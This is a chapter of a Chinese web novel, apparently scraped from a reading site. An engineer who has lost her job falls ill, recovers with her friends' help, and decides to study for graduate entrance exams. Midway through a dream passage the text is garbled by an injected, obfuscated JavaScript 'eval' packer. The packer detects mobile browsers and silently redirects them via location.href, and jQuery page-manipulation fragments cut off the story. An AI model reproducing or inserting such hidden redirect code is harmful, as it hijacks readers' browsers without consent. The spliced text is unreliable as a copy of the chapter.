默认冷灰
24号文字
方正启体

22. 少爷别演我02

作者:泠砚舟_本书字数:K更新时间:
    许令颐果然静下来了。


    她蜷在客厅地毯上,面前茶几摊满习题册,笔尖几乎没停过。这套静心的法子,她早已用得纯熟。


    小舟打小就不爱学习,在一旁看她解题看得头晕,看她写得差不多了,索性拽着人去吃饭。


    吃饭的时候,许令颐一看手机,才发现有三个未接来电,归属地都是淞市,她当即回拨回去。


    电话那头几乎是秒接,那人立刻报上自己的身份,原来是蓝途1号的技术师王谦。


    “许工,我听说你不在锐邦工作了,有没有兴趣考虑我们蓝途?”


    许令颐听了这话都不知道该做何表情,按理来说,她应该谢谢王工的邀请,但是这时候,她只能无奈地说:“就是你们蓝途的大少爷弄没了我的工作。”


    就算王谦情商不算高,也听出了弦外之音。他干笑两声:“原来是这样……那你要是以后想来蓝途,记得联系我。”


    饭后,苏雪北从小舟家医药箱里翻出云南白药,两瓶轮换着给许令颐喷。


    她凑近了看许令颐的颧骨,心疼道:“晚上看着又青了点,估计得三五天才能消。”


    许令颐点点头,倒不在意脸上的伤,心里只盘算着往后的路:是抓紧找工作,还是趁这机会专心准备考研。


    另一边,邓俞一回市区,就马不停蹄地往星耀会所赶。


    进了包间,他先叫了七八个陪酒男女。


    男郎半跪在他脚边,一杯接一杯倒酒,说着恭维话;女郎则坐在他身旁,轻柔地捏着他的肩膀。


    回到熟悉的环境,他本以为紧绷的神经能松下来,可半瓶酒下肚,心脏还是像被一只手攥着,闷得发慌。


    他猛地把酒瓶往外一推,瓶子摔在地上,“哐当”一声巨响,把满屋子人都吓了一跳。


    “换高度的酒来。”邓俞沉声道。


    男郎不敢耽搁,赶紧出去传酒。


    三天后,许令颐总算啃完了整本新习题,这三天里,她半步没踏出过房门。


    饥肠辘辘地摸去厨房找吃的时,小舟正弯腰站在水池旁,对着个花瓶摆弄不休。


    听见脚步声,小舟抬头朝她扬了扬手:“正好,快帮我瞧瞧,这么插怎么样?”


    她手里捧着只素白瓷瓶,瓶中几枝百子莲开得正好。许令颐的心脏猛地一紧,手指几不可查地蜷了蜷。


    “挺好的。”她压着声线,只淡淡应了句。


    小舟却没察觉,捧着花瓶左右端详:“上次去你家,见阿姨插的花特别雅致,特意请教了手法。连花瓶带花都是照着你家的样子买的,确实好看,就是总觉得枝桠挤了点……”


    她瞥了眼腕表,急忙把花瓶塞到许令颐手里:“你审美比我好,帮我修修,我赶时间上班,先走啦!”


    门合上的轻响刚刚散了,苏雪北拎着早午饭回来,刚进门就看见许令颐站在茶几旁,目光落在那瓶百子莲上,神情发怔,不知道在想些什么。


    “我买了两份排骨年糕,排了老长的队,快尝尝。”许令颐许是做完题心情好了些,竟吃了一整份。


    苏雪北看在眼里,总算松了口气。这是近几天她吃得最多的一次。


    “味道怎么样?”苏雪北问。


    许令颐点头:“不错。题做完了,也没别的事,下午我们出去逛逛吧?小舟说她们小区外有个口袋公园,挺不错的。”


    苏雪北一听,彻底放了心,当即应下,又翻出自己的行李:“我新买了两条裙子,正愁没机会穿,你看这条适合逛公园吗?”说着,她拿着裙子在身上比划。


    许令颐对她的每一件新衣服都表示了赞美,没多久她就说困,要去歇会。


    她休息时,苏雪北也没闲着,翻出视频学做孕妇营养餐。可直到下午三点,许令颐还没动静,苏雪北有些担心,轻手轻脚地走到客卧门口。


    一进门,就见许令颐裹紧被子缩在床上。


    苏雪北伸手探了探她的额头,烫得吓人。


    “令颐?令颐?”她轻声唤着,许令颐只昏昏沉沉地应了一声。


    苏雪北慌了,赶紧找来体温计给她夹上,体温直逼四十度。


    她急忙给小舟打电话,三言两语说清情况:“小舟,你家退烧药在哪?医药箱里没找到。”


    小舟在那头急道:“家里没准备这些。你知道的呀,好多感冒药、退烧药孕妇不能吃,我根本没准备。你会开车吗?你姐夫的车在车库。这楼盘新,附近药房、诊所都没开,赶紧带小许去医院!”


    “我没学车……”苏雪北道。


    “那赶紧打车。”小舟道。


    苏雪北架着许令颐出了门,拦了辆出租车,往最近的社区医院赶。


    医院里打点滴的人不少,护士把许令颐安排在大厅座位上输液。


    苏雪北安置好她,拿着单子去缴费。


    年永泽正好站在她身后,手里也捏着单子。


    他只见过苏雪北的照片,印象不深,只觉得眼熟。


    等苏雪北把单子递给医生时,他才上前凑了凑,扫了眼上面的名字。


    轮到年永泽时,他递上单子,拿了六七盒药。拎着药袋回到车上,邓俞还仰躺在副驾驶,一副没醒酒的模样。


    年永泽拆开药盒,忍不住数落:“你说说你,在会所喝了三天三夜,是不是脑子糊涂了?洋酒白酒混着喝,身子能扛住吗?不头晕才怪!”


    邓俞皱着眉,朝他伸手:“药。”


    年永泽倒好水:“起来喝。”


    邓俞调整了座椅,坐起身,把六粒胶囊一口吞了进去。


    “你知道我刚才在社区医院看见谁了?”年永泽突然说。


    邓俞没接话,显然没兴趣。


    年永泽却自顾自压低声音:“是厂花!她好像带着小许来看病。”


    邓俞的眼神猛地一动,嘴里的药咽到一半卡住,当场呛得剧烈咳嗽。


    年永泽赶紧给他拍背:“吃个药都能呛着。”


    “她生病了?”邓俞咳着问。


    “废话,没病谁来医院打点滴?”年永泽无语。


    邓俞“哦”了一声,没再说话,只喝了两口温水。


    “你怎么一点也不关心人家?”年永泽追问。


    “掰了。”邓俞淡淡道。


    “前几天你过生日时不还好好的?又闹什么呢?”


    邓俞盯着杯底,声音发沉:“我把她工作弄没了。”


    年永泽愣了愣,骂道:“你是不是有病?人家小许干得好好的,你瞎折腾什么?”


    “她欠我的。”邓俞双眼一闭。


    年永泽帮他把座椅调下去,嘴里还嘟囔着:“欠你的,你觉得全世界谁不欠这个大少爷的?”


    他收起杯子放回杯架:“我早说让你回家找医生看看,吃这点药顶什么用?你这就是喝酒喝出毛病了,我送你回去。”


    许令颐清醒时,正倚在苏雪北怀里。苏雪北的目光始终锁在输液瓶上,连她醒了都没察觉。


    “小雪。”她轻轻唤了一声。


    苏雪北猛地回神,眼里瞬间亮起来:“你醒了?感觉怎么样?”


    许令颐嗓子哑得发紧:“舒服多了。”


    苏雪北握紧她的手,又把外套往上拉了拉。


    大厅空调始终维持在二十五六度,对刚退了烧的许令颐来说,还是偏凉。


    “最后一瓶了,输完咱们就回家。”


    许令颐带着鼻音“嗯”了一声,重新靠回苏雪北肩头,闭上了眼睛。


    小舟是常白班,不好调休,苏雪北便跟同事换了三次班,两人一昼一夜轮流守着许令颐。


    许令颐偶尔清醒,大部分时间都昏昏沉沉地睡着,做些没头没尾的梦。


    “你好,请问C区怎么走?”


    “之前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064873|195127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说好了要请你吃饭,今天正好碰上,择日不如撞日。”


    “既然是保密项目,怎么还能让我在这看?”


    “你丫的耍我!变态!”


    “我跟你道歉,也希望……我们还能像从前一样,做个朋友。”


    “你看,向前踏步,再向后,挽住我的手,转。”


    “瘦了。”


    “我给你插的花,喜欢吗?”


    “你说,我听着。”


    许令颐猛然惊醒,看着雪白的天花板,她额头出了一层细密的汗。


    有些话,有的事,从一开始就带着目的。


    苏雪北见她醒了,赶紧凑上前查看情况。


    在社区医院输了三天液,烧总算退了,却还留着咳嗽的尾巴。


    直到一周后,许令颐才彻底痊愈,只觉浑身像被重新调整过,从头到脚都透着股轻快。


    “小舟,雪北,这段时间麻烦你们了。”她有些过意不去。


    “再这么说我可不理你了。”小舟瞪她一眼,许令颐连忙笑着讨饶。


    “我想明白了,难得有这么个空当,我打算专心准备考研,深造两年再工作。”


    生病时,她想了很多,她确实喜欢轧钢这行,可现在换个厂子,日子未必能有新模样。


    倒不如趁这段时间复习,考上研究生提升学历,将来再找工作,才算真正的如虎添翼。


    苏雪北追问:“想好考哪了吗?”


    “冰市的A工大,”许令颐答,“之前周桐姐推荐给我的,也是我当年高考的第一志愿。”


    “电气自动化吗?”


    “对。”


    苏雪北想了想:“明天上班我帮你问问,我大学舍友正在那边读博,要是有校内复习资料,我想办法给你印来。”


    小舟插了句嘴,满是好奇:“考上了要读四年吗?”


    许令颐捏捏她的脸:“我考专硕,两年就够。”


    “可你都工作好几年了,在哪儿考试啊?要去工大考吗?”


    “一般是在户口或工作所在地,不过听说也能申请去目标院校考。”许令颐想了想,补充道,“我打算在家考,方便些。”


    晚饭后,许令颐和苏雪北各回各家。


    许令颐刚到家,许湘就叫她去厨房帮忙:“令颐,你看这洗碗机怎么不出水了?”


    许令颐盯着洗碗机,眼神微沉,却转瞬即逝。她找来说明书,一项项排查故障,十来分钟就修好了。


    收拾工具箱时,她开口:“妈,跟你说个事。”


    许湘正把碗放进洗碗机,闻言回头:“什么事?”


    “我不在钢厂工作了,想全力准备考研。”


    许湘愣了一下,随即笑了,她知道女儿向来有主意:“好的呀,之前你还说,等厂里重点项目忙起来就没心思读书,怕考不上。现在能安心复习、提升学历,多好的事。”


    说起学历,许湘一直有些愧疚,总觉得当年是自己耽误了女儿高考。


    如今听许令颐要考研,比谁都高兴,哪怕许令颐早说过,当年的事不怪她。


    “你就在家好好读,饮食起居妈妈来管。”


    许令颐却摇了摇头:“我想找份兼职。债是还完了,但我们手头也没多少钱。这段时间,我们的生活开销需要钱,等考上了,学费、生活费都得花钱,奖学金也得等入学后才发。万一要是没考上,更需要钱。”


    许湘算着账,也觉得有道理。


    以前许令颐在钢厂工资不低,可大部分都用来还债了。


    那年许令颐高三,家里的变故一个接着一个:尚安齐的精神损失费、尚权的医药费、许湘的治疗费和康复费,前前后后欠了几十万,若不是许令颐的姨妈借钱给她们,根本撑不过来。


    “那你找个轻松点的,”她叹道,“我在便利店一个月还能挣三四千,咱们省着点花,够了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)